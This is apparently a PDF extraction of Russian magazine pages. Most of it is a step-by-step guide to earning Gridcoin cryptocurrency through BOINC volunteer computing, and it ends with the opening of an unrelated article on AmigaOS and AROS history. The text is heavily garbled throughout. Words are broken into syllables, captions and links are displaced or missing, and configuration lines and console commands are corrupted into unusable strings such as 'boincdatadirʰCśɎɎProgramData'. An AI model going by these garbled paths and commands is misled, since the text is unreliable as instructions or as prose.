реали зации  ее  доводи ли  очень  дол го.  Сис тема  и  сей час  далека  от  совер‐ 
шенс тва, но уже работа ет более‐менее ста биль но. В сре де кран черов такое
новов ведение  вос при няли  неод нознач но.  Одни  горячо  при ветс тво вали  эту
ини циати ву, а дру гие не менее горячо кри тико вали ее.

Так  или  ина че,  люди  годами  счи тали  бес плат но.  Так  почему  бы  теперь
не получать ком пенса цию сво их тру дозат рат? Ведь сче та за элек тро энер гию
сами не опла тят ся, а за Gridcoin (GRC) уже дают на бир же реаль ные день ги.
Точ нее, за GRC обыч но дают BTC, а уже за BTC — USD или EUR.

Кра сота Gridcoin в том, что бес полез ный май нинг в ней заменен решени‐ 
ем  реаль ных  задач.  К  при меру,  надо  обра ботать  сним ки  с  авто мати чес кой
обсерва тории,  рас счи тать  тре тич ную  струк туру  бел ка  или  смо дели ровать
работу  сер дца  по  дан ным  ЭКГ.  Все  эти  прак тичес кие  задачи  реша ются
на обыч ных компь юте рах в фоне без вза имо дей ствия с поль зовате лем, и за
них начис ляют ся вир туаль ные монет ки.

ПРИСОЕДИНЯЕМСЯ К GRIDCOIN
Пос коль ку Gridcoin работа ет поверх плат формы BOINC, сна чала нуж но стать
кран чером, а уже потом собирать крип товалют ную наг раду. Ког да ты под клю‐ 
чаешь ся  к новому про екту BOINC и запол няешь свой про филь на веб‐стра‐ 
нич ке, мож но при соеди нить ся к одной из команд или соз дать свою. Это чис‐ 
тая условность, пос коль ку ник то не зап реща ет перехо дить из одной коман ды
в  дру гую  вмес те  со  все ми  зарабо тан ными  очка ми.  Пря мо  как  в  фут боле.
У  мно гих  кран черов  поле  «коман да»  так  и  оста ется  незапол ненным.  Если
хочешь получать крип товалю ту за вычис ления в BOINC, то в поле Team надо
ука зать Gridcoin.

Ко ман ду всег да мож но сме нить

Шаг 0
О том, как уста новить BOINC и выб рать про ект, мы уже писали. Одна ко учти,
что не все про екты прош ли про вер ку сооб щес тва. Крип товалю та начис ляет ся
толь ко за учас тие в науч ных ини циати вах из  . Прос то убе дись,
что в нем ука зан хотя бы один из выб ранных тобой.

бе лого спис ка

Шаг 1
Пос ле нас трой ки BOINC и при соеди нения к коман де Gridcoin надо уста новить
одно имен ное кли ент ское при ложе ние (см. ссыл ки во врез ке). Луч ше оста вить
все  пути  и  нас трой ки  по  умол чанию,  так  как  с  кас томны ми  боль ше  веро‐ 
ятность появ ления ошиб ки.

По сути,  кли ент Gridcoin — это элек трон ный кошелек на базе  тех нологии
блок чейн. Поэто му он дол го заг ружа ет цепоч ку бло ков при запус ке и пос тоян‐ 
но  син хро низи рует  ее.  В  нем  исполь зуют ся  раз ные  тех нологии  защиты
от фаль сифика ции, глав ная из которых — DPOR (distributed proof of research),
доказа тель ство  учас тия  в  иссле дова ниях,  в  дан ном  слу чае  —  про ектах
BOINC.  Тех ничес ки  это  ком бинация  двух  методов:  POB  (proof  of  BOINC)
и proof‐of‐stake (PoSv 2) — доказа тель ство доли, то есть наличия крип товалю‐ 
ты на сче те.

Ста тис тика коман ды Gridcoin в про екте Leiden Classical

Вмес то  май нин га  Gridcoin  исполь зует  доказа тель ство  работы,  proof‐of‐work
(PoW). Для это го кли ент ская прог рамма про веря ет раз ные усло вия:

ус танов лен ли кли ент BOINC;•
за пущен ли про цесс BOINC;•
за регис три рован  ли  в  сети  рас пре делен ных  вычис лений  меж про ектный
иден тифика тор поль зовате ля (CPID);

•

ак тивен ли учас тник (RAC > 0).•

Есть и дру гие про вер ки, но не будем забегать впе ред.

Ес ли воз никнут проб лемы, обра щай ся на форумы
BOINC  и  Gridcoin.  На  мно гие  воп росы  поможет
отве тить  .FAQ

Шаг 2
На этом эта пе надо опре делить ся, как имен но ты будешь учас тво вать: в оди‐ 
ноч ку  или  в  сос таве    кран черов.  Пул  пока  все го  один  (кста ти,  за  раз‐ 
работ ку нового обе щана  ), зато он пре дос тавля ет воз можность быс‐ 
тро го стар та. В нем ты будешь получать воз награж дение чаще, но в мень шем
количес тве.

пу ла
наг рада

Со ло‐кран чинг тре бует боль ших тру дозат рат на пер вом эта пе и боль шого
тер пения, одна ко он дает мак сималь ный кон троль. Есть еще тре тий вари ант
для самых ленивых — Investor mode, или прос то обра бот ка чужих тран закций.
В нем не тре бует ся выпол нять науч ные рас четы, а мел кая монета начис ляет ся
за помощь в под держа нии сети Gridcoin  в акту аль ном сос тоянии. Все даль‐ 
нейшие шаги я опи шу для режима соло‐кран чинга, так как выб рал его.

Шаг 3
В Windows кли енту Gridcoin тре буют ся пра ва адми нис тра тора. Раз работ чики
рекомен дуют соз дать ярлык для фай ла  ,  открыть  его
свой ства  и  на  вклад ке  «Сов мести мость»  пос тавить  фла жок  «Выпол нять  эту
прог рамму от име ни адми нис тра тора».
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За пуск Gridcoin от адми на

Да,  теоре тичес ки  это  небезо пас но,  одна ко  за  пол года  экспе римен та  я
не заметил каких‐либо проб лем, да и код при ложе ния откры тый.

Шаг 4
За пус ти  кли ент Gridcoin на  том же  компь юте ре,  на  котором у  тебя работа ет
BOINC. Если появят ся зап росы от фай рво ла, добавь раз реша ющие пра вила.
Если не появят ся — соз дай их вруч ную (см. нас трой ки под клю чения в раз деле
Options → Network кли ента Gridcoin).

Раз реша ем Gridcoin дос туп в сеть

Шаг 5
Ждем,  пока  кли ент  заг рузит ся  (пер вый раз  за  это  вре мя мож но  успеть  схо‐ 
дить  на  работу  или  неп лохо  выс пать ся)  и  попада ем  в  мас тер  под клю чения
нового  поль зовате ля.  В  нем  надо  ввес ти  тот  адрес  элек трон ной  поч ты,
с которо го ты регис три ровал ся в про ектах BOINC.

Ав томати чес кий запуск мас тера

Ес ли  пре дыду щие  шаги  были  выпол нены  вер но,  ты  получишь  сооб щение:
«Новый  файл  кон фигура ции  был  соз дан  успешно».  Потом  мы  вер немся
к нему.

Пос ле  под клю чения  к  интерне ту  кли ент  Gridcoin  свя жет ся  с  сер верами
про ектов  и  ста тис тики  и  самос тоятель но  получит  все  дан ные.  Если  мас тер
не запус тился сра зу или ты слу чай но зак рыл его, то всег да мож но запус тить
его вруч ную. Обра ти вни мание, что пароли ука зывать не нуж но, — воз можно,
эти  поля  оста лись  от  ста рой  вер сии  прог раммы,  но  сей час  все  работа ет
без них.

До бав ление нового поль зовате ля вруч ную

mailto:angstroem@hotbox.ru
https://xakep.ru/2017/05/26/crowd-computing/
https://xakep.ru/2017/06/05/boinc-howto/
https://github.com/gridcoin
http://wiki.gridcoin.us/Current_BOINC_Whitelist
http://wiki.gridcoin.us/FAQ
http://pool.gridcoin.co/
https://github.com/Erkan-Yilmaz/Gridcoin-tasks/issues/2


ПОЛУЧАЕМ ВОЗНАГРАЖДЕНИЕ ЗА
НАУЧНЫЕ РАСЧЕТЫ

PCZONE  НАЧАЛО СТАТЬИΝ

Шаг 6
Про веря ем файл кон фигура ции  . Если ты уста новил
BOINC  не  по  дефол тно му  пути,  то  задай  в  кон фигах  реаль ный.  В  Windows
соот ветс тву ющие стро ки выг лядят так:
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boincdatadirʰCśɎɎProgramDataɎɎBOINC
boincappdirʰCśɎɎProgram FilesɎɎBOINC

а в Linux так:

boincdatadirʰŵ�arŵlibŵboinc‐clientŵ

Ес ли путь задан невер но, то при каж дом запус ке Gridcoin будет ругать ся.

BOINC не най ден

Так же  про верь,  пра виль но  ли  ука зан  твой  адрес  элек тро поч ты  (стро ка
). Она слу жит общим иден тифика тором поль зовате ля.emailʰ

Шаг 7
При пер вом запус ке (от адми нис тра тора!) кли ент Gridcoin дол жен сам ска чать
блок чейн. Если авто мати чес кой син хро низа ции не про изош ло или она выпол‐ 
нилась с ошиб кой, то ее мож но пов торить при нуди тель но коман дами Rebuild
block chain → Rebuild block chain или Download Blocks.

Ска чива ем блок чейн

Пос ле заг рузки снап шота син хро низа ция завер шится на 99,99%. До ста про‐ 
цен тов кли ент син хро низи рует ся сам, заг рузив чуть поз же самые новые бло‐ 
ки.

Шаг 8
Пе рей ти на сле дующий этап неп росто,  так  что  запасись  тер пени ем. Дол гое
вре мя у тебя будут отоб ражать ся нули в основных полях кли ента Gridcoin, а в
стро ке  CPID  вмес то  меж про ектно го  иден тифика тора  будет  над пись

 — буд то ты и не счи таешь в BOINC вов се. Не пережи вай, это нор‐ 
маль но. Прос то новые узлы в сеть Gridcoin добав ляют ся очень дол го, а окно
вып лат недав но уве личи ли с двух недель до полуго да. Поэто му элек трон ный
кошелек отра жает не  текущее сос тояние, а  твои былые зас луги — учтенные
и под твержден ные дру гими учас тни ками за дол гий срок.

In�estor

Как  толь ко  ты  получишь  пер вые  монет ки  (нап ример,  от  меня  —  под‐ 
робнос ти во врез ке ниже), отправ ляй маяк, что бы уско рить добав ление сво‐ 
его компь юте ра в сеть Gridcoin. Для это го зай ди в  кон соль кли ента Gridcoin
и напиши:  .execute ad�ertisebeacon

Ус пешная отправ ка маяка

По нача лу у тебя будет нулевой POS, в оче реди за воз награж дени ем ты ока‐ 
жешь ся  пос ледним.  Из‐за  этой  осо бен ности  алго рит ма  при ходит ся  очень
дол го  ждать  пер вой  вып латы  —  от  двух  недель  до  полуто ра  месяцев.  Все
или поч ти все это вре мя твой ста тус будет Investor, хоть ты и выб рал кран чинг.
Про исхо дит  это  потому,  что  стать  пол ноцен ным  узлом  сети  Gridcoin  мож но
толь ко  пос ле  отправ ки  маяка  (beacon).  Эта  опе рация  сто ит  копей ки  (доли
GRC),  но  изна чаль но  у  тебя  нет  и  такой  сум мы.  Есть  нес коль ко  спо собов
побыс трее пре одо леть пер вый этап и перей ти на сле дующий уро вень (prob‐
ing coing age):
1. Зай ти  на  стра нич ку  с  источни ком  халяв ных  GRC  и  выпол нить  нехит рое
задание.

2. По лучить стар товый капитал на пуле Gridcoin.
3. Поп росить меня  прис лать GRC  в  ком мента риях  к  этой  статье  (не  забудь
ука зать адрес кошель ка).

Бес плат ные источни ки крип товалю ты называ ются faucets (кра ники). Вот 
 для Gridcoin. Хороший тон — перечис лить на него пару

монеток  обратно,  ког да  у  тебя  их  накопит ся  дос таточ но.  Как  и  подоб ные
ресур сы, он живет за счет доната.

один
из самых популяр ных

Кран, из которо го капа ют GRC

Пул  Gridcoin  так же  раз дает  сло нов  незави симо  от  того,  кран чишь  ты  в  нем
или  в  оди ноч ку.  Единс твен ное  усло вие  —  на  момент  зап роса  стар тового
капита ла поль зователь дол жен дос тичь показа теля RAC (Recent Average Cred‐
its) боль ше 333.

Ес ли  ты  при соеди нил ся  к  BOINC  задол го  до  того,  как  уста новил  кли ент
Gridcoin,  то  не  получишь  монет ки  за  уже  выпол ненные  вычис ления.  Одна ко
они  повысят  твой  RAC  и  дру гие  показа тели,  тем  самым  уско рив  началь ный
этап.

По луча ем стар товый капитал

Есть и дру гие вари анты попол нить счет:
под писать ся на   Gridcoin;• но вос ти
зай ти в  ;• IRC‐чаты
по играть в  ;• иг ры

 на Gridcoin дру гую крип товалю ту;• об менять
ку пить ее нап рямую у зна комо го (я не про даю :‐)).•

Ес ли по какой‐то при чине эти вари анты тебя не устро или (или прос то лень) —
напиши здесь в ком мента риях, и я пос тара юсь прис лать GRC. Мно го не обе‐ 
щаю,  но  даже  минималь ный  пла теж  поможет  тебе  сэконо мить  недели
томитель ного ожи дания и побыс трее отпра вить маяк. Пос мотреть номер сво‐ 
его кошель ка мож но в раз деле   кли ента Gridcoin. Мож но сде‐ 
лать  нес коль ко  адре сов  и  ука зывать  их  раз ным  людям.  Пер вый  адрес  соз‐ 
дает ся авто мати чес ки.

Recei�e Coins

Уз наем номер сво его кошель ка

Ког да  у  тебя  появит ся  пер вая  сот ня монет —  заг ляни  сюда  еще  раз.  Будет
здо рово, если ты тоже смо жешь помочь дру гим начина ющим.

Шаг 9
Ес ли до это го шага все сде лано вер но, то пос ле отправ ки маяка ты получишь
сооб щение   и крат кий отчет. В нем будет ука зан твой под‐ 
твержден ный CPID, пуб личный ключ и напоми нание о том, что вмес те с сек‐ 
ретным  он  сох ранен  в  фай ле  .  Это  несекь юрно,
поэто му  сто ит  зашиф ровать  его  (через  меню  Settings  →  Encrypt  wallet).
Теперь при каж дом запус ке Gridcoin будет спра шивать пароль — пос тарай ся
его не забыть!

Resultś SUCC�SS
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Шаг 10
На зак лючитель ном эта пе вве ди в кон соли Gridcoin коман ду  . Она
вер нет  тебе  под робный  отчет  о  том,  какой  у  тебя  под твержден ный  иден‐ 
тифика тор CPID,  какие про екты BOINC  у  тебя  успешно  зас читыва ются,  а  по
каким  еще  слиш ком  низ кий  показа тель  RAC.  На  этом  основная  нас трой ка
завер шена, и твой элек трон ный кошелек нач нет получать монет ки.

list cpids

Про веря ем ста тус Gridcoin

Ин терфейс кли ента Gridcoin в целом инту ити вен, но в нем есть и неоче вид‐ 
ные  эле мен ты.  Нап ример,  зеленая  стрел ка  в  левой  вер хней  час ти  окна  —
это  не  прос то  инди катор  активнос ти.  При  наведе нии  на  нее  кур сора  появ‐ 
ляет ся  всплы вающее  окно  с  рас шифров кой  текуще го  сос тояния  учет ной
записи.

Сос тояние учет ки Gridcoin

Здесь даже прог нозиру ется вре мя сле дующей вып латы, хоть оно и ред ко сов‐ 
пада ет с реаль ным. Похожая на инди катор Wi‐Fi икон ка ниже ведет себя так
же — показы вает сетевую активность кли ента Gridcoin и раз ные под робнос ти.
Одна ко все это мелочи. Нас тоящая магия скры вает ся в меню отладки. Запус‐ 
тив кон соль (Help → Debug Window → Console) и написав  , ты получишь
обширную справ ку по дос тупным коман дам.

help

Кон соль ные коман ды Gridcoin

СПЕЦИФИКА GRIDCOIN
Gridcoin  —  не  единс твен ная  попыт ка  прос тимули ровать  волон теров.  Есть
еще    (CURE),    (FLDC)  и  дру гие.  Одна ко  у  CureCoin
котиров ки быс тро пош ли на спад и все никак не взле тят, а у FoldingCoin гра‐ 
фик кур са хоть и вну шает надеж ды, но сама сис тема несов мести ма с BOINC.
Это внут ренняя валюта дру гой, более ста рой сети — Folding@Home.

CureCoin FoldingCoin

Гра фик кур са CURE/BTC

Все начис ления в Gridcoin про исхо дят по алго рит му scrypt, но тут есть важ ная
осо бен ность: наг рада за блок — перемен ная величи на. Если ты прос то пос‐ 
тавил кли ент Gridcoin и дер жишь его пос тоян но вклю чен ным,  то получишь 

 за каж дый новый блок. Если же, помимо это го, ты учас тву ешь в про ектах
BOINC,  то  за  каж дый  блок  получишь  от  6  до  150  GRC.  Сог ласись,
это хороший сти мул.
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Во вто ром слу чае наг рада начис ляет ся не за май нинг как таковой, а про‐ 
пор циональ но  тру дозат ратам  в  науч ных  рас четах.  Плат форма  BOINC
эффектив но  их  учи тыва ет  и  собира ет  всю  необ ходимую  ста тис тику  работы.
Основной, но не единс твен ный показа тель — объ ем вычис лений. В зависи‐ 
мос ти от про екта он может быть очень раз ным в каж дом кон крет ном задании:
от  мил лиар дов  до  квад рилли онов  опе раций  с  пла вающей  запятой,  при чем
раз ной  сте пени  точ ности.  Помимо  объ ема,  учи тыва ется  вре мя  решения
задания  и  отно ситель ный  вклад  сре ди  всех  учас тни ков  про екта.  Одно  дело
быть в мей нстри ме сре ди сот ни тысяч кран черов, а дру гое — отда вать ресур‐ 
сы  непопу ляр ному  про екту,  который,  кро ме  тебя,  счи тают  еще  пол тора
челове ка.

Учесть  эти  тон кости  помога ет  экви валент  слож ности  работы  —  Cobble‐
stone, или прос то очки учас тия. Изна чаль но один Cobblestone прос то отра жал
объ ем  вычис лений,  который  выпол няет  про цес сор  со  ско ростью  один
GFLOP/s за 1/200 суток. Про ще говоря, это 432 мил лиар да опе раций оди нар‐ 
ной  точ ности  (FP32). Затем схе му начис ления очков  усложни ли. Одни  кран‐ 
черы  счи тают  изредка,  дру гие  —  пос тоян но.  Поэто му  для  оцен ки  вкла да,
помимо объ ема вычис лений, учи тыва ется их регуляр ность (RAC).

Кран черы неред ко при нима ют  учас тие сра зу в нес коль ких про ектах, раз‐ 
давая ресур сы каж дому по чуть‐чуть. При этом вре мя обра бот ки име ет кри‐ 
тичес кое  зна чение  для  иссле дова телей —  никому  не  нуж ны  прош логод ние
резуль таты.  Поэто му  некото рые  про екты  начис ляют  пре миаль ные  очки
за ско рость обра бот ки их заданий. Нап ример, в GPUGrid ты получишь допол‐ 
нитель ные 50% очков, если выпол нишь задание за сут ки с момен та получе‐ 
ния, и 25%, если уло жишь ся в про межу ток 24–48 часов.

Объ ем в один мил лиард опе раций сос тавля ет один гигаф лоп. Не сто ит путать
его с гигаф лопсом — еди ницей изме рения ско рос ти вычис лений. Количес тво
опе раций записы вает ся как GFLOPs, а ско рость их выпол нения за секун ду —
GFLOP/s.

НЕКОТОРЫЕ ТОНКОСТИ

 Для это го генери рует ся супер блок (один каж дые 24 часа). Поэто му
твой ста тус изме нит ся с   на   как минимум спус тя сут‐ 
ки.

Пос ле  отправ ки маяка  компь ютер при соеди няет ся  к  «ней росети»

Gridcoin.

IN��STOR BOINC �ining

 Скрипт выпол няет
десять тес тов и отоб ража ет их резуль тат.

Про верить  кор рек тность  работы  кли ента  Gridcoin  мож но

в меню Advanced → Diagnostics → Run Diagnostics.

За пус каем диаг ности ку

  На  голосо вание
выносят ся такие воп росы, как «Дол жны ли мы внес ти в белый спи сок про ект
А?»  или  «Сле дует  ли  изме нить  механизм  DPOR?».  Учас тие  в  голосо вании
плат ное. За каж дый голос спи сыва ется неболь шая сум ма, которая гаран тиру‐ 
ет, что свое мне ние выразил активный учас тник Gridcoin.

В  Gridcoin  есть  откры тая  сис тема  голосо ваний.

 Основные называ ются Min‐
ing  PoR  и  начис ляют ся  за  выпол нение  рас четов  в  BOINC.  Более  мел кие —
перево ды от «кра ников», дру гих учас тни ков и бонусы PoS.

Все вып латы в Gridcoin отоб ража ются в окне кли ента. Пол ный

лог  ука зан  на  стра нице  Transactions,  а  три  пос ледние  опе рации

показы вают ся спра ва раз ными знач ками.

Раз ные вып латы в Gridcoin

 Там же
мож но  ука зать  сооб щение  получа телю  и  задать  комис сию,  если  ты  хочешь
уско рить обра бот ку  тран закции. Все мел кие перево ды обя затель но отправ‐ 
ляют ся  с  комис сией,  что бы  не  перег ружать  сеть  Gridcoin  пус тяковы ми  зап‐ 
росами.  Не  пережи вай,  уро вень  уста нав лива ется  чис то  фор маль ным  —
поряд ка 0,0001 GRC или чуть боль ше, если сам захочешь его уве личить.

Для  отправ ки  монет  дос таточ но  клик нуть  Send  coins,  ввес ти

номер кошель ка получа теля и жела емую сум му перево да.

От прав ляем монет ки

 Оце нить его поможет спе циаль ный  . Прос то
вве ди свой CPID, и уви дишь таб лицу про ектов BOINC и твой отно ситель ный
вес  в  них  по  отно шению  к  коман де  Gridcoin.  Каль кулятор  далеко  не  безуп‐ 
речный  и  отра жает  дав но  про верен ную  ста тис тику,  а  не  текущую  ситу ацию.
Поэто му  не  удив ляй ся,  если  не  уви дишь  в  его  таб лице  про екта,  к  которо му
недав но при соеди нил ся.

Клю чевое зна чение име ет не абсо лют ный вес (в очках или RAC),

а отно ситель ный. каль кулятор

 Соб ранные монет ки раз делят ся сре ди всех учас тни ков,
которых могут быть тысячи. Если же про ект при носит мало очков, то это еще
не зна чит, что за него начис лят мало монет. Глав ное, что бы он был в «белом
спис ке».  Допус тим,  из  активных  учас тни ков  какого‐нибудь  Vasya@Home
остался толь ко ты и тот самый Вася. Вот меж ду собой и подели те весь куш.

Мож но при бав лять по мил лиону очков в день на кру той виде- 

окар те, но если про ект популяр ный, то боль ших вып лат за учас- 

тие в нем не жди.

За виси мость  меж ду  объ емом  вычис лений,  RAC  и  количес твом  вып лат
неоче вид на  из‐за  боль шого  окна  вып лат  (сей час  оно  сос тавля ет  182  дня)
и пла вающей мощ ности сети Gridcoin. Если ты стал счи тать интенсив нее,  то
не факт, что будешь получать боль ше монеток. Во‐пер вых, эти зас луги учтут
через дли тель ное вре мя. Во‐вто рых, мощ ность сети в этот пери од так же мог‐ 
ла уве личить ся, сни жая твой отно ситель ный вес в ней.

  Сог ласно  офи циаль ному  руководс тву,  глав ное,  что бы  CPID
на  всех  счи тал ках  был  ука зан  оди нако вым.  Одна ко  на  прак тике  текущий
механизм про вер ки POB иног да при водит к тому, что кли ент Gridcoin начина‐ 
ет учи тывать толь ко те про екты, которые есть в BOINC на локаль ной машине.
Поэто му добавь все выб ранные про екты на том компь юте ре, где будет уста‐ 
нов лен Gridcoin.

Все начис ления  в Gridcoin  про исхо дят  с  при вяз кой  к меж про- 

ектно му  иден тифика тору  BOINC.  Ты  можешь  кран чить  сра зу

на  нес коль ких  компь юте рах,  а  запус кать  кли ент  Gridcoin  толь ко

на  одном.

 Поэто‐ 
му  убе дись,  что у  тебя уста нов лены акту аль ные вер сии и обновле ния фрей‐ 
мвор ка.

Кли ент Gridcoin для Windows исполь зует .NET Framework.

  Поэто му  про верь  его  авто мати чес кую  подс трой ку  и  пра виль ность
ука зания часово го пояса.

Боль шинс тво оши бок Gridcoin обус ловле ны рас син хро низа цией

из‑за неп равиль но уста нов ленно го вре мени на локаль ном компь- 
юте ре.

Даже  запус кая  его  не  каж дый  день  и  все го  на  пару  часов,  ты  все  рав но
получишь все зарабо тан ные монет ки (лишь бы BOINC работал). Прос то элек‐ 
трон ный  кошелек  дол го  запус кает ся,  еще доль ше  син хро низи рует ся,  а  сети
Gridcoin  тре буют ся  активные  узлы  для  нор маль ной  работы.  Отсю да  и  такая
рекомен дация.

На  сай те  раз работ чика  рекомен дуют  дер жать  кли ент  Gridcoin

запущен ным  от  адми на  24/7,  но  по  фак ту  это го  не  тре бует ся.

  Рас пре делен ные  вычис ления  —
это  марафон,  а  не  спринт.  По  воз можнос ти  под держи вай  нович ков  и  при‐ 
нимай учас тие в про ектах ради раз вития науки, а не в погоне за крип товалю‐ 
той. Это лишь при ятный бонус, а не источник дохода.

Не  жад ничай  и  будь  тер пелив!

•Gridcoin для Windows
•Gridcoin для Linux (DEB)
•Gridcoin для Linux (RPM)
•Gridcoin для Linux (AUR)
•Инс трук ция по уста нов ке Gridcoin на macOS

http://faucet.gridcoin.asia/
http://uscore.net/
https://kiwiirc.com/client/irc.freenode.net:6667/#gridcoin
https://kiwiirc.com/client/irc.freenode.net:6667/#gridcoin-games
https://poloniex.com/exchange#btc_grc
https://curecoin.net/
https://xakep.ru/2015/01/29/foldingcoin/
http://www.gridcoin.co/?cpid=e87aa0e3e5883617b68779047b251f79
http://download.gridcoin.us/download/downloadstake/GridcoinResearch.msi
https://code.launchpad.net/~gridcoin/+archive/ubuntu/gridcoin-stable
https://build.opensuse.org/package/show/home:theMarix/gridcoin
https://aur.archlinux.org/packages/gridcoinresearch-qt
http://wiki.gridcoin.us/OS_X_Guide


ЗНАКОМИМСЯ С AROS,
ОТКРЫТЫМ КЛОНОМ AMIGAOS

Евгений Зобнин
zobnin@glc.ru

PCZONE

Труд но  пред ста вить  более  любимый
и  почита емый  поль зовате лями  ПК,  чем
Amiga.  Этот  опе редив ший  свое  вре мя
домаш ний компь ютер подарил нам демос‐ 
цену,  тре кер ную  музыку,  механизм  plug’n’‐
play и,  конеч но же, AmigaOS, опе раци онку,
которая в фор ме незави симо го AROS про‐ 
дол жает раз вивать ся и по сей день. Но дей‐ 
стви тель но  ли  это  зас лужива ющая  вни‐ 
мания  сис тема,  а  не  прос то  нос таль гичес‐ 
кий про ект фанатов Amiga?

НЕМНОГО ИСТОРИИ
В 1982 году, ког да миром пер сональ ных компь юте ров пра вили Apple  II, Atari
400  и  IBM  PC  на  про цес соре  Intel  80186,  быв шие  инже неры  ком пании  Atari
во гла ве с Дже ем Май нером (Jay Miner) начина ют раз работ ку прин ципи аль но
нового компь юте ра, который дол жен был оста вить далеко позади все осталь‐ 
ные ПК того вре мени.

Так  в  1985  году  на  свет  появ ляет ся  Amiga  1000,  дей стви тель но  револю‐ 
цион ный компь ютер, спо соб ный выводить на экран изоб ражение раз решени‐ 
ем 640 ✕ 512 и 4096 цве тов, вос про изво дить сте реоз вук из четырех незави‐ 
симых аппа рат но мик ширу емых каналов и одновре мен но работать с нес коль‐ 
кими при ложе ниями, запущен ными в мно гоза дач ной опе раци онке с окон ным
интерфей сом.

Amiga 1000

Мо дель Amiga 1000 была обо рудо вана раз витым виде опро цес сором Denise,
который поз волял работать с восемью аппа рат ными спрай тами (в том чис ле
при вязать  спрайт  к мыши  для  отоб ражения  кур сора  без  лагов  при  переме‐ 
щении),  плав но  скрол лить  экран  и  даже  нак ладывать  изоб ражения  друг
на дру га с исполь зовани ем аль фа‐канала.

Amiga  сто ила  вдвое  дешев ле,  чем  срав нимый  IBM PC  на  286‐м  про цес‐ 
соре,  —  две  тысячи  тог дашних  дол ларов  про тив  четырех.  И  при  этом
не  оставля ла  ему  никаких  шан сов  на  кон курен цию  в  сфе ре  муль тимедиа.
Не  уди витель но,  что  Amiga  быс тро  заво ева ла  популяр ность  сре ди  обыч ных
поль зовате лей и ком паний, работа ющих с гра фикой и зву ком.

Не пос леднюю роль в популяр ности Amiga сыг рала AmigaOS, написан ная
с  нуля опе раци онка  с мик роядер ной  архи тек турой.  AmigaOS была мно гоза‐ 
дач ной,  то  есть  поз воляла  работать  сра зу  с  нес коль кими  при ложе ниями
и  чет ко  раз деляла  ядро  на  мно жес тво  мел ких  ком понен тов,  которые  заг‐ 
ружались  в  память  незави симо  друг  от  дру га.  Каж дый  ком понент  выпол нял
опре делен ную фун кцию  (драй веры,  фай ловые  сис темы  и  так  далее),  а  вза‐ 
имо дей ство вали они с помощью каналов.

Цве товая палит ра AmigaOS 1.0 была выб рана в рас чете получить
хороший кон траст даже на самых дешевых телеви зорах

Amiga стре митель но заво евы вала популяр ность, поэто му, кро ме Amiga 1000,
в пос леду ющие годы было выпуще но мно жес тво дру гих моделей компь юте ра,
вклю чая  еще  более  дешевую модель  Amiga  500.  Далее  пос ледова ла  Amiga
2000  с  пятью  сло тами  рас ширения  и  фун кци ей  Autoconfig  (которая  боль ше
извес тна  нам  в  реали зации  Microsoft  под  наз вани ем  plug’n’play),  Amiga
3000 с более про изво дитель ным про цес сором и боль шим объ емом памяти
и, наконец, Amiga 4000, спо соб ная отоб ражать 262 144 оттенка.

Вмес те  с  Amiga  раз вивалась  и  AmigaOS.  Вер сия  2.0,  выпущен ная
в 1990 году для Amiga 1200 и 3000, изба вилась от яркой палит ры, стан дарти‐ 
зова ла  поль зователь ский  интерфейс  и  поз волила  раз работ чикам  соз давать
раз витые гра фичес кие интерфей сы с помощью объ ектно ори енти рован ного
API BOOPSI (Basic Object Oriented Programming System for Intuition).

В вер сии 3.0 появи лась  кон цепция datatypes, очень похожая на  тран сля‐ 
торы BeOS/Haiku. Datatypes поз воляли добав лять в сис тему под дер жку новых
типов фай лов соз дани ем биб лиоте ки, реали зующей спе циаль ный API. Пос ле
это го  все  при ложе ния,  как  сис темные,  так  и  сто рон ние,  мог ли  работать
с этим типом фай лов.

В  1995  году,  вско ре  пос ле  выпус ка  вер сии  3.1,  ком пания  Commadore,
выпус кавшая Amiga, обан кро тилась, а пра ва на опе раци онку начали перехо‐ 
дить  из  рук  в  руки.  Через  шесть  лет  раз работ ку  ОС  про дол жила  ком пания
Haage & Partner (вер сии 3.5, 3.9), а с вер сии 4.0 ей начала занимать ся Hyper‐
ion Entertainment.

Пос ледняя на сегод няшний день вер сия Amiga OS 4.1 Final Edition Update
1  была  выпуще на  31  декаб ря  2016  года,  но  работать  она  может  толь ко
на  машинах  с  про цес сорами  PowerPC:  Blizzard  PPC,  AmigaOne,  Pegasos  II,
Samantha.  Фак тичес ки  это  уже  не  нас тоящая  Amiga,  а  впол не  стан дар тные
«баш ни», выпус каемые раз ными ком пани ями. К тому же даже самые мощ ные
из них оста ются далеко позади сов ремен ных x86‐сис тем.

AmigaOS родилась акку рат в то вре мя, ког да в мире начала рас простра нять ся
идея мик роядер ной ОС. Суть идеи зак лючалась в  том, что бы вынес ти боль‐ 
шинс тво ком понен тов ядра из при виле гиро ван ного адресно го прос транс тва
памяти  в  поль зователь ское,  а  для  свя зи  меж ду  ними  исполь зовать  типизи‐ 
рован ные каналы. Такая архи тек тура гаран тиру ет, что, если в драй вере мыши
(или любом дру гом драй вере или ком понен те ядра) будет допуще на ошиб ка,
которая при ведет к его падению, он не потянет за собой все ядро, а прос то
упа дет, как обыч ное при ложе ние, и его мож но будет переза пус тить.

Мно гие  раз работ чики  ОС  тог да  отвер гли  эту  идею  по  при чине  слиш ком
серь езных  издержек.  При  обме не  дан ными  ком понен ты  ядра  уже  не  мог ли
прос то передать ука затель на буфер, содер жащий дан ные. Им при ходи лось
копиро вать  дан ные  из  прос транс тва  ядра  в  прос транс тво  поль зовате ля
и обратно мно жес тво раз. Из‐за это го работа ядра замед лялась и воз раста‐ 
ло  количес тво  дорогих  в  пла не  про цес сорно го  вре мени  опе раций  перек‐ 
лючения кон тек ста.

Раз работ чиков  AmigaOS  эти  огра ниче ния  не  оста нови ли,  да  и  не  мог ли
оста новить. В про цес соре Motorola MC68000 прос то не было модуля MMU,
который  бы  поз волил  раз делить  адресное  прос транс тво  про цес сов  и  ядра.
Как  следс твие,  бес конеч ное  копиро вание  памяти  уже  не  тре бова лось,
а перек лючений кон тек ста не сущес тво вало как клас са.

Так AmigaOS ста ла мик роядер ной ОС, в которой исполь зование мик рояд‐ 
ра  не  име ет  никако го  смыс ла.  Из‐за  отсутс твия  бло ка MMU  дос туп  к  стра‐ 
ницам  памяти  никак  не  раз гра ничи вал ся,  и  опе раци онка  мог ла  упасть
не  толь ко  из‐за  ошиб ки  в  драй вере,  но  и  по  при чине  бага  в  обыч ном  при‐ 
ложе нии!  Прог раммис ту  дос таточ но  было  все го  лишь  оши бить ся  в  адре се
перехо да  или  записать  дан ные  нем ного  не  туда,  и  при вет,  Guru  Meditation
(мес тный «экран смер ти»)!

Guru Meditation

Под робнее  об  исто рии  AmigaOS  читай  в  статье  «
».

